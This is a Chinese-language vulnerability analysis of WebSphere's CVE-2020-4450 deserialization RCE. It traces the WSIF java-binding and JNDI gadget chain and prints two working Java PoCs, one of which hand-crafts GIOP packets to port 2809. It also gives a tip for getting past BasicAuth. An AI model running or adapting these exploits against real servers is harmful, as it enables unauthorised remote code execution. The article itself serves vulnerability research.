登录/注册
投稿
首页 威胁情报 安全动态 漏洞预警 专题报告 技术分析 安全工具

WebSphere 远程命令执行漏洞（CVE-2020-4450）分析

Sp4rr0vv  1890天前

作者：白帽汇安全研究院@Sp4rr0vv

核对：白帽汇安全研究院@r4v3zn

环境准备

基于 ibm installtion mananger 进行搭建。

8.5.x 版本对应的仓库地址为：https://www.ibm.com/software/repositorymanager/V85WASDeveloperILAN

9.0.x 版本对应的仓库地址为：https://www.ibm.com/software/repositorymanager/V9WASILAN

注：需去掉 PH25074 补丁，本文基于 9.0.x 版本进行调试。

WebSphere 默认情况下，2809、9100 是 IIOP协议交互的明文端口，分别对应 CORBA 的 bootstrap 和 NamingService；而 9402、9403 则为 iiopssl 端口，在默认配置情况下访问 WebSpere 的 NamingService 是会走 9403 的SSL 端口，为了聚焦漏洞，我们可以先在 Web 控制台上手动关闭 SSL。

WSIF 和 WSDL

WSDL（Web 服务描述语言，Web Services Description Language）是为描述 Web 服务发布的 xml 格式。

一个 WSDL 文档通常包含 8 个重要的元素，即 definitions、types、import、message、portType、operation、binding、service 元素，其中 service 元素就定义了各种服务端点，阅读wsdl时可以从这个元素开始往上读。

其中 portType 元素中的 operation 元素定义了一个接口的完整信息，binding 则是为访问这个接口规定了一些细节，如可以设定使用的协议，协议可以是 soap、http、smtp、ftp 等任何一种传输协议，除此以外还可以绑定 jms、ejb 及 local java 等等，不过都是需要对binding和service元素做扩展的。

WSIF 是 Web Services Invocation framework 的缩写，意为 Web 服务调用框架，WSIF 是一组基于 WSDL 文件的 API ，他调用可以用 WSDL 文件描述的任何服务，在这里最重点在于扩展了binding 和 service 元素，使其可以动态调用 java 方法和访问 ejb 等。

Demo 到 POC

CVE-2020-4450 中的漏洞利用链其中一个要点就是利用其动态调用 java 的特性，绕过对调用方法的限制，我们下面参考官网提供的 sample 中的案例写个小 demo，看下这款框架的功能底层是怎么实现的，以及有什么特点。

利用链中其中一环的限制条件之一是方法中的参数类型、参数数量、参数类型顺序必须要与接口定义的一致，本文我们以 String 类型参数为例进行测试，我们写一个带有 String 类型的参数接口，来进行跟踪接口是如何被 WSIF 移花接木到指定的 ELProcessor#eval(String expression)。

WSDL 文件如下：

message 元素中定义参数，type 与接口中的类型需保持一致。

portType元素定义 operation 子节点其中该子节点中的 name 与接口名称。

然后在进行定义 javabinding ，规定 portType 调用的方式为 java 调用。

其中 java 命名空间元素是关键要素，其中包含了实际执行方法的类和方法，后面我们将会看到 WSIF 如何将 Hello#asyHell(Sring name); 接口方法调用变成 ELProcessor#eval(String)。

WSIF 到 eval

通过调用 WSIF 的 API 来访问 WebService 很简单，只需四步。

第一步获取工厂：

第二步实例化 WSIFService，会往扩展注册中心注册几个拓展元素的解析器，其中 JavaBindingSerializer 就是解析 WSDL 中 java 这个命名空间元素的：

在解析的过程中通过 unmarshall 进行解析 WDSL 格式

public javax.wsdl.extensions.ExtensibilityElement unmarshall(
public javax.wsdl.extensions.ExtensibilityElement unmarshall(
    Class parentType,
    javax.xml.namespace.QName elementType,
    org.w3c.dom.Element el,
    javax.wsdl.Definition def,
    javax.wsdl.extensions.ExtensionRegistry extReg)
    throws javax.wsdl.WSDLException {
    Trc.entry(this, parentType, elementType, el, def, extReg);

    // CHANGE HERE: Use only one temp string ...

    javax.wsdl.extensions.ExtensibilityElement returnValue = null;

    if (JavaBindingConstants.Q_ELEM_JAVA_BINDING.equals(elementType)) {
        JavaBinding javaBinding = new JavaBinding();
        Trc.exit(javaBinding);
        return javaBinding;
    } else if (JavaBindingConstants.Q_ELEM_JAVA_OPERATION.equals(elementType)) {
        JavaOperation javaOperation = new JavaOperation();

        String methodName = DOMUtils.getAttribute(el, "methodName");
        //String requiredStr = DOMUtils.getAttributeNS(el, Constants.NS_URI_WSDL, Constants.ATTR_REQUIRED);
        if (methodName != null) {
            javaOperation.setMethodName(methodName);
        }

        String methodType = DOMUtils.getAttribute(el, "methodType");
        if (methodType != null) {
            javaOperation.setMethodType(methodType);
        }

        String parameterOrder = DOMUtils.getAttribute(el, "parameterOrder");
        if (parameterOrder != null) {
            javaOperation.setParameterOrder(parameterOrder);
        }

        String returnPart = DOMUtils.getAttribute(el, "returnPart");
        if (returnPart != null) {
            javaOperation.setReturnPart(returnPart);
        }
        Trc.exit(javaOperation);
        return javaOperation;
    } else if (JavaBindingConstants.Q_ELEM_JAVA_ADDRESS.equals(elementType)) {
        JavaAddress javaAddress = new JavaAddress();

        String className = DOMUtils.getAttribute(el, "className");
        if (className != null) {
            javaAddress.setClassName(className);
        }

        String classPath = DOMUtils.getAttribute(el, "classPath");
        if (classPath != null) {
            javaAddress.setClassPath(classPath);
        }

        String classLoader = DOMUtils.getAttribute(el, "classLoader");
        if (classLoader != null) {
            javaAddress.setClassLoader(classLoader);
        }
        Trc.exit(javaAddress);
        return javaAddress;
    }
    Trc.exit(returnValue);
    return returnValue;
}

以下为分别对应的类，该类的属性我们都是可以在 WSDL 中进行控制的。

JavaOperation 类：

JavaAddress 类：

下面是简要的调用流程，解析 xml 中的元素，将其都转换 JAVA 对象，Definition 这个类就是由这些对象组成的，然后根据提供的serviceName，portTypeName 选择 WSDL 中相对应的 service 和 portType，上面说过 portType 就是一些定义抽象访问接口的集合。

第三步，获取 stub ，先是根据给定的第一个参数 portName 找到对应的 port，在根据 port 找对应的 binding ,获取其扩展的 namespaceURI 来找 WSIFProvider 动态加载 WSIFPort 的实现类。

这里的 binding namespace 就是 java

所以实现类会是由 WSIFDynamicProvider_Java 这个工厂生成的 WSIFPort_Java 对象

这个类有个叫 fieldobjectReference 的字段很关键，后面我们会看到它就是我们在 WSDL 中 <java:address > 这个元素中指定的ClassName的实例对象，也是最终执行方法的对象。

获取 WSIFPort_Java 后，接着往下可以看到，会根据提供的接口生成该接口的代理对象

其中 WSIFClientProxy 实现了 InvocationHandler ，最后对接口中的方法肯定会经过它的 invoke 方法处理，下面重点来看下它的invoke方法是怎么实现的

先是找 operation ，这里的 method 参数就是正在调用的方法

遍历我们在初始化 service 时选定的 portType 中的所有 operation ，首先 operation 的名字要和正在调用的方法名一致

名字一致后，找参数，先是如果二者的参数都为 0 的话，就返回这个 operation 了，有参数，判断参数长度，不一致就继续遍历下一个operation

如果参数长度一致，就判断类型，如果遇到一个不一致的类型就继续遍历下一个 operation 如果完全一致就立刻返回这个 operation ，如果 operation 中定义的参数类型，是正在调用的方法的参数类型的子类的话也行，但是并没有限制返回值。

选定 WSDL 中 portType 的这个符合名字和参数条件的 operation 后，接着往下，会根据这个operation的名字、参数名和返回值名由 WSIFPort 的实现类创建对应的 WSIFOperation

这里我们 WSIFPort 是 WSIFPort_Java，所以最终的实现类是 WSIFOperation_Java ，但是在这之前还会有个判断，就是会根据我们选的 port，找到 bingding，在遍历 binding 里的operation 元素，必须要有一个 operation 的名字和正在调用的方法名一致，不然就会直接返回，到这里我们看到都是对 wsdl 中 operation 名以及参数类型的限制而已，下面是 WSIFPort_Java 这个类的实例化

跟进断点这行，会看到 WSIF 会实例化我们在 WSDL 中 <java:address className="javax.el.ELProcessor"/> 这个标签那里指定的className，然后返回其所有的方法

接下来，是根据上面所说的，在实例化之前，筛选出的 wsdl 的 binding 中的那个 operation，将其中的 java 扩展元素赋值给 fieldJavaOperationModel 字段

然后就根据这个对象的 methodType 字段，判断是静态方法还是实例化方法,最后执行方法会根据这两个字段做选择

后面是重点，WSIF 怎么找真正要执行的方法

然后去 WSDL 找参数

简单的说下，我们在下图这里指定了 parameterOrder 的情景

WSIF 会遍历这个列表中的名字，根据当前选定的 WSDL 中的 operation 找到对应的 message 元素，然后会根据这个 parameterOrder 列表中的名字匹配其中的 part 元素的名字，也就是参数名，实例化这个元素指定的 type 成 Class 对象，放到返回值列表中，在一次遍历的过程中，先是找到 input，匹配不上再找output，如果都匹配不上就报错，到这里我们看到了第三个限制，就是指定了 parameterOrder ，那么对于与其相匹配的 operation 中的 message 中定义的参数名一定要和 parameterOrder 中的一致，至于 returnPart 这个属性有无都行

然后就是遍历所有的构造方法，匹配参数类型

先是参数个数要一致，一致后，类型要一致或者 WSDL 中定义的参数类型要是构造函数中参数的子类

第二个找实例方法，我们最终的目的，找参数类型的过程大致和上面一致，不过在getMethodReturnClass()这里会判断 returnPart，没有的话没关系，有的话还是会有些限制

然后就判断 fieldJavaOperationModel 中的方法 name 在不在我们指定的那个类的实例方法里面，到这里，已经差不多可以看出这个框架的 javabding 的特点了，当前正在执行的方法的名字只是限制了 WSDL 中一个抽象的 Operation 名字，真正执行的实例方法是在 <java:operation methodName="xxxx" ....> 中指定的

后面就是匹配参数个数

接着是返回值，这里返回值都是不为空才判断，所以对于为了执行任意方法为目的来说，我们甚至可以不指定 returnPart

后面的过滤条件都和构造方法一样，最终返回的就是指定名字的方法

最后看下有定义 return 时真正执行方法的调用 executeRequestResponseOperation

后面还有一些特点就不说了，我们直接看下最终执行实例方法的地方，如果把返回值相关的定义去掉，将会连类型转换错误都没有，这就非常的棒

解析到序列化

以下为漏洞精简版本漏洞序列化栈：

readobject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
getEJBobject:181, EntityHandle (com.ibm.ejs.container)
findByPrimaryKey:-1, $Proxy94 (com.sun.proxy)
executeInputOnlyOperation:1603, WSIFOperation_Java (org.apache.wsif.providers.java)
eval:57, ELProcessor (javax.el)

从 WSIFPort_EJB 作为开始起点，

显而易见，两个字段是 transient 的，但是在序列化时手动写进去了，所以反序列时也手动还原回来了

先看下实现了 WAS 中实现了 Handler 的类，一共就四个，这次 EntityHandle 是主角

这个类的字段如下

getEJBobject() this.object==null 的条件肯定可以满足了

initialContextProperties 和 homeJNDIName 都是可以控制的，正常情况下肯定会想到jndi 注入

可惜 WAS 默认安装时的 JDK 版本已经对基于 JNDI 做限制了,而且启动时会给 objectFactoryBuilder 赋值，连 getobjectFactoryFromReference 都到不了

其中在 this.getobjectInstanceUsingobjectFactoryBuilders 中最后会进入到的会是 WASobjectFactoryBuilder 这个类

这里并不会对 ClassFactory 远程加载，但是会根据类名实例化我们指定的工厂类，然后调用 getobjectInstance ,基于高版本 JDK 的 jndi 注入利用方式，就是去寻找有没有这样的 objectFactory ，它的 getobjectInstance 里的操作能直接或者间接地结合后续操作来造成漏洞

org.apache.wsif.naming.WSIFServiceobjectFactory 工厂类的 getobjectInstance 就是开头介绍的 WSIF API几步，里面所有参数都是可以控制的，因为当 lookup 到这里的时候，就是为了 decode 我们构造的 reference 对象。

仔细看一下，如果我们指定 renferce 的 className 为 WSIFServiceStubRef.class 的时候，回顾开头对 WSIF API 的 4 个步骤，会发现除了调用方法名以及其参数之外，里面用到的参数都再这里了，这意味着如果这个代理对象从 lookup 这里出去后，对这个对象有任何的接口方法调用，我们都是可以根据 WSIF 的 java binding 来控制其真正执行方法的对象以及要执行的方法的

再看下 lookup 后的流程，是将 lookup 回来的对象转换成 EJBHome ,然后调用 findFindByPrimaryKey 方法

EJBHome 这个接口并没有 findFindByPrimaryKey 这个方法，所以需要去找它的子类，CounterHome 就是其中一个

现在让我们看一下利用链要怎么构造，由于 EntityHandle 这个类只实现了 Handler 接口，没有实现 EJBobject 接口，我们可以自行实现 EJBobject 接口，让其返回

我们特定构造的 EntityHandle 对象绑定我们的RMI地址去进行 jndi 注入

赋值给 WSIFPort_EJB 即可

然后起个 RMI 绑定一下我们构造的 WSIF Reference

以下为互联网公开的漏洞 POC 利用详细代码：

public static void main(String[] args) throws NamingException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
    System.getProperties().put("com.ibm.CORBA.ConfigURL","file:////sas.client.props");
    System.getProperties().put("com.ibm.SSL.ConfigURL","file://ssl.client.props");
    WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null);
    Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbobject");
    field.setAccessible(true);
    field.set(wsifPort_ejb, new MyEJBobject());
    Properties env = new Properties();
    env.put(Context.PROVIDER_URL, "iiop://127.0.0.1:2809/");
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
    InitialContext context = new InitialContext(env);
    context.list("");
    Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
    f_defaultInitCtx.setAccessible(true);
    WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
    Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
    f_context.setAccessible(true);
    CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
    Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
    f_corbaNC.setAccessible(true);
    _NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
    Field f__delegate = objectImpl.class.getDeclaredField("__delegate");
    f__delegate.setAccessible(true);
    ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
    Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
    f_ior.setAccessible(true);
    IOR ior = (IOR) f_ior.get(clientDelegate);
    Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
    f_orb.setAccessible(true);
    ORB orb = (ORB) f_orb.get(clientDelegate);
    GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
    Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);
    getConnection.setAccessible(true);
    Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "");
    Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
    setConnectionContexts.setAccessible(true);

    CDROutputStream outputStream = ORB.createCDROutputStream();
    outputStream.putEndian();
    Any any = orb.create_any();
    any.insert_Value(wsifPort_ejb);
    PropagationContext propagationContext = new PropagationContext(
            0,
            new TransIdentity(null, null, new otid_t(0,0,new byte[0])),
            new TransIdentity[0],
            any
    );
    PropagationContextHelper.write(outputStream, propagationContext);
    byte[] result = outputStream.toByteArray();

    ServiceContext serviceContext = new ServiceContext(0, result);
    ArrayList arrayList = new ArrayList();
    arrayList.add(serviceContext);
    setConnectionContexts.invoke(connection, arrayList);
    context.list("");
 }

一些思考

WAS 默认对 RMI/IIOP 开启了 SSL 和 Basic 认证，前面为了聚焦漏洞我把 WAS 的 SSL 关了，如果没关，又没指定 SSL 配置文件的话，直接用互联网中公开的漏洞利用方案在设置 ServiceContext 时相关的代码会直接报错抛出异常。

而且开启了也不能直接打，因为还有个 BasicAuth ，会弹出用户名密码验证框，不知道账户密码的话，敲一下回车也能过去

可以抓包和 Debug 一下源码看一下为什么会这样，在 WsnInitCtx 上下文中 list 或者 lookup 的实现是，先去发个 locateRequset 去 BooStrap 那获取 NamingService 的地址，拿到 NamingService 的 IOR 后再发送 Request 请求，如果 WAS 没启用 SSL 的话，在服务器返回的 IOR Profile 中是会带有端口指明 NamingService 的端口。

如果 BootStrap 返回的 IOR 只带有 Host ，端口为 0，但是在返回的 IOR 中会有 SSL 的相关内容，则说明是要走 SSL 端口的，如果我们的客户端没配置 SSL 属性的话，那他是不会走 SSL 连接的，而是直接连接 host:0，肯定连不上

问题就出在这里，因为本质上，要进入到本次的反序列化调用点，根本是不需要一个 LocateRequst 的，我们可以 debug 看一下，在 WAS 的服务端在接受 iiop 请求时，会先经过几个拦截器的处理，默认情况下一共7 个拦截器

取决于 Corba 客户端的请求类型，执行不同的逻辑

   private void invokeInterceptor(ServerRequestInterceptor var1, ServerRequestInfoImpl var2) throws ForwardRequest {
        switch(var2.state) {
        case 8:
            var1.receive_request_service_contexts(var2);
            break;
        case 9:
            var1.receive_request(var2);
            break;
        case 10:
            var1.send_reply(var2);
            break;
        case 11:
            var1.send_exception(var2);
            break;
        case 12:
            var1.send_other(var2);
            break;
        default:
            throw new INTERNAL("Unexpected state for ServerRequestInfo: " + var2.state);
        }

    }

其中只要是 Request 请求，就能进入到 TxServerInterceptor 的 receive_request，进行后面的 ServiceContext 处理操作，触发本次的反序化过程

所以想写个实战能用的 POC 或者 EXP 的话，直接用 WAS 的 JNDI API 肯定不行的，可以再找一下可以直接发 Request 和设置 ServiceContext 的 API 。或者考虑手动构造一下数据包，默认端口没改的情况下，直接打2809或者9100,至于怎么构造，可以参考一下 GIOP规范 和 JDK 或者 IBM 的那套 corba api ，下面演示一下大致的构造过程

直接用 Oracle JDK 的 原生 corba API 请求一下 2809，就会发现客户端发的是一个带有 ServiceContext 的 Request 请求的

参照 GIOP 规范，整个 GIOP 头是固定的 12 个字节，其中第 8 个字节是请求类型

再参照一下这个 API 是怎么发包的，先是十二个字节的 GIOP 头

然后是一个固定的 4 字节 ServiceContext 的数目

后面就是 ServiceContext 格式也是固定的

写完 ServiceContext 后，是下面这个格式

所以，大致的验证代码如下：

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
    WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null);
    Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbobject");
    field.setAccessible(true);
    field.set(wsifPort_ejb, new MyEJBobject());

    Socket socket = new Socket();
    InetSocketAddress inetSocketAddress = new InetSocketAddress("127.0.0.1", 2809);
    socket.connect(inetSocketAddress,0);
    socket.setKeepAlive(true);
    socket.setTcpNoDelay(true);
    OutputStream outputStream = socket.getOutputStream();
    EncoderOutputStream cdrOutputStream = (EncoderOutputStream)ORB.createCDROutputStream();
    cdrOutputStream.write_long(1195986768);
    cdrOutputStream.write_octet((byte)1);//GIOPMajor
    cdrOutputStream.write_octet((byte)0);//GIOPMinor
    cdrOutputStream.write_octet((byte)0);//flags
    cdrOutputStream.write_octet((byte)0);//type //request
    object sizePosition = cdrOutputStream.writePlaceHolderLong((byte) 0);//size
    cdrOutputStream.write_long(1);//ServiceContext size

    CDROutputStream outputStream2 = ORB.createCDROutputStream();
    outputStream2.putEndian();
    Any any = ORB.init().create_any();
    any.insert_Value(wsifPort_ejb);
    PropagationContext propagationContext = new PropagationContext(
            0,
            new TransIdentity(null, null, new otid_t(0,0,new byte[0])),
            new TransIdentity[0],
            any
    );
    PropagationContextHelper.write(outputStream2, propagationContext);
    byte[] result = outputStream2.toByteArray();
    ServiceContext serviceContext = new ServiceContext(0, result);
    serviceContext.write(cdrOutputStream);
    int writeOffset2 = cdrOutputStream.getByteBuffer().getWriteOffset();
    System.out.println(writeOffset2);

    cdrOutputStream.write_long(6);//requestID
    cdrOutputStream.write_octet((byte)1);//responseExpeced
    objectKey objectKey = new objectKey("NameService".getBytes());
    cdrOutputStream.write_long(objectKey.length());
    cdrOutputStream.write_octet_array(objectKey.getBytes(), 0, objectKey.length());
    cdrOutputStream.write_long(3);
    cdrOutputStream.write_octet_array("get".getBytes(),0,3);
    cdrOutputStream.write_long(0);
    cdrOutputStream.write_long(0);

    int writeOffsetEND = cdrOutputStream.getByteBuffer().getWriteOffset();
    cdrOutputStream.rewriteLong(writeOffsetEND-12,sizePosition);
    cdrOutputStream.getByteBuffer().flushTo(outputStream);
    System.in.read();

}

结果

参考

漏洞
上一篇： Goby内测版1.7.194 | 你的弹...... 下一篇： 【安全通报】Jackson 多......

最新评论

r3start  :  带带我
1890天前 回复
昵称
邮箱
提交评论

相关推荐

Amadeus航班预订系统曝出严重漏...
因非法关闭航空公司系统，前IT承...
Profinet工业通信协议漏洞影响西...
Google将Chrome安全漏洞修复时间...
WebKit远程操控漏洞影响最新版Ap...

热门文章

友情链接：FOFA FOEYE BAIMAOHUI 安全客 i春秋 指尖安全 2021上海网络安全博览会

nosec.org All Rights Reserved 京ICP备15042518号-2